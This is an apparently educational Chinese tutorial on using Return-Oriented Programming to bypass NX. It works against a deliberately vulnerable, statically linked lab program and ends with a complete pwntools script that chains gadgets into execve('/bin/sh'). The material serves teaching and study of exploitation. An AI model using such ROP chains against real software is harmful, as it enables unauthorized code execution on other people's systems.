上一篇文章中,我們提到了保護機制 NX,啟用了 NX 代表我們不能執行位於資料段的 Shellcode,那怎麼辦呢?那就不要自己注入,直接執行程式當中的吧!但是程式中並沒有像 win()
這樣的後門函數可以直接利用,這時我們該怎麼辦呢?
我們可以透過 ROP(Return-Oriented Programming)這個手法!本篇文章將仔細說明如何利用 ROP Bypass NX。
文章架構如下:
雖然程式中沒有完整的後門函數可以直接執行,但是程式是由一行一行的指令組成的,那如果我們把這些指令組合起來,是否就能創建一條能達成攻擊目標的指令鏈呢?這正是 ROP(Return-Oriented Programming) 的核心概念,即利用現有的程式指令片段來實現攻擊。
這些指令片段稱為 Gadget。每個 Gadget 通常包含幾行指令,並且以一條 ret
(return)指令結尾,例如下面這段程式片段:
可以看到從 0x402028
開始會將 Stack 最上層的值 Pop 給 RDI
這個暫存器,接著執行 ret
,會將 Stack 最上層的值 Pop 給 RIP
,CPU 就會接著執行下一行程式,即 RIP
裡儲存的地址。
也就是說,如果我們現在透過 Stack Buffer Overflow 把 Stack 變成下面這樣,我們就能跳到 0x402028
並控制 RDI
的值為 /bin/sh
如果我們再繼續填更多的 Gatget 進入 Stack,使程式按照我們的計畫執行這些 Gadget,最終成功 Pwn。
簡單來說,ROP 是在沒有 Shellcode 或後門函數的情況下,藉由重新組合程式內部的現有指令來達成類似的效果。由於 ROP 是利用已經存在於程式執行段的合法程式指令,而非我們自己注入的 Shellcode,因此能夠繞過 NX 的限制。我們只需控制返回地址,即可讓程式按預期執行 Gadget,逐步完成攻擊。
接下來,我們將探討如何尋找這些 Gadget,以及如何組合它們來實現攻擊目標。本篇文章將會以一隻靜態連結的程式做示範,如下:
#include <stdio.h>
int main(void)
{
char answer[8];
printf("Do you know the difference between /bin/bash and /bin/sh");
printf("\nEnter the answer (yes/no): \n");
gets(answer);
printf("Your answer: %s\n", answer);
return 0;
}
請讀者使用以下命令編譯程式碼。 gcc -fno-stack-protector -no-pie -static -o rop rop.c
此編譯方式會將 Canary、 PIE 並且以靜態連結形式編譯。
這是一隻簡單的程式,可以很明顯看到使用了 gets()
,因此有 Stack Buffer Overflow 的漏洞。
從組合語言來看,程式也很明確的分成六個區塊,其中我們需要關注的是紅框,也就是透過 gets()
輸入這段,可以看到輸入的位置為 rbp-0x8
。因此構造 Payload 時就知道需要填充 0x8
+ 8 個才會碰到 Return Address。
從上述程式碼分析可以得出有 Stack Buffer Overflow,並且沒有後門函數,也沒有關閉 NX 保護機制。但我們知道程式是靜態連結,代表著所有使用到的外部函數全部都會被包進 bof
這個執行檔中,因此我們有機會透過 bof
本身中的 Gadget 來執行 execve("/bin/sh", NULL, NULL)
,來分析要如何執行execve()
,我們需要:
RDI
存入 "/bin/sh"RSI
為 0RDX
為 0RAX
存入 execve()
的編號 0x3b
syscall
指令因此我們需要幾段 Gadget:
pop rdi; ret;
的位址,用於存入 RDI
pop rsi; ret;
的位址,用於存入 RSI
pop rdx; ret;
的位址,用於存入 RDX
pop rax; ret;
的位址,用於存入 RAX
syscall
指令的位址那要如何找到這些 Gadget 的位址呢?我們可以使用 ROPgadget 這個工具。
用法為 ROPgadget --binary file
後面再加參數,我們先找所有需要 pop
的位址,使用下方指令:ROPgadget --binary ./rop --only 'pop|ret' | grep -E 'rdi|rsi|rdx|rax'
ROPgadget 會幫我們選出所有以 pop
開頭 ret
結束的 Gadget 位址,接著在透過 grep 選擇我們需要的暫存器,結果如下:
越單純越好,因此我們挑選這四條
可以注意到 pop rdx
後面還會接一個 pop rbx
,我們不需要用到也不影響到其他 Gadget 所以沒關係,到時候隨便填入一個值就好。
由於我們沒有開啟 PIE 保護,因此現在可以在我們的攻擊腳本填入直接這幾個位址(註):
pop_rax = 0x000000000041d2b7
pop_rdi = 0x0000000000402028
pop_rdx_rbx = 0x000000000045f657
pop_rsi = 0x0000000000408bc0
註:若開啟 PIE 保護,則需要透過 Leak Address 找出偏移的多少,並且將 ROPgadget 的結果加上偏移量才會是最後程式真正的位址。
接著在使用以下命令找 syscall
ROPgadget --binary ./rop --only 'syscall'
syscall = 0x0000000000401292
最後使用以下命令找 "\bin\sh"ROPgadget --binary ./rop --string '/bin/sh'
bin_sh_addr = 0x0000000000473041
接下來就能構造 Payload 了,前面有分析過需要填充 0x8
+ 8 個才會碰到 Return Address。
padding = b'A' * (0x8 + 8)
接著我們就能依據我們需要的內容從 Return Address 往後填充,變成這樣:
payloag = flat(
padding,
pop_rdi,
bin_sh_addr,
pop_rsi,
0,
pop_rdx_rbx,
0,
0,
pop_rax,
0x3b,
syscall
)
整隻攻擊腳本如下:
from pwn import *
context.binary = './rop'
p = process('./rop')
pop_rdi = 0x0000000000402028
bin_sh_addr = 0x0000000000473041
pop_rsi = 0x0000000000408bc0
pop_rdx_rbx = 0x000000000045f657
pop_rax = 0x000000000041d2b7
syscall = 0x0000000000401292
padding = b'A' * (0x8 + 8)
payloag = flat(
padding,
pop_rdi,
bin_sh_addr,
pop_rsi,
0,
pop_rdx_rbx,
0,
0,
pop_rax,
0x3b,
syscall
)
p.sendlineafter('no): \n', payloag)
p.interactive()
當我們執行起來後,整個 ROP Chain 會像這樣運作: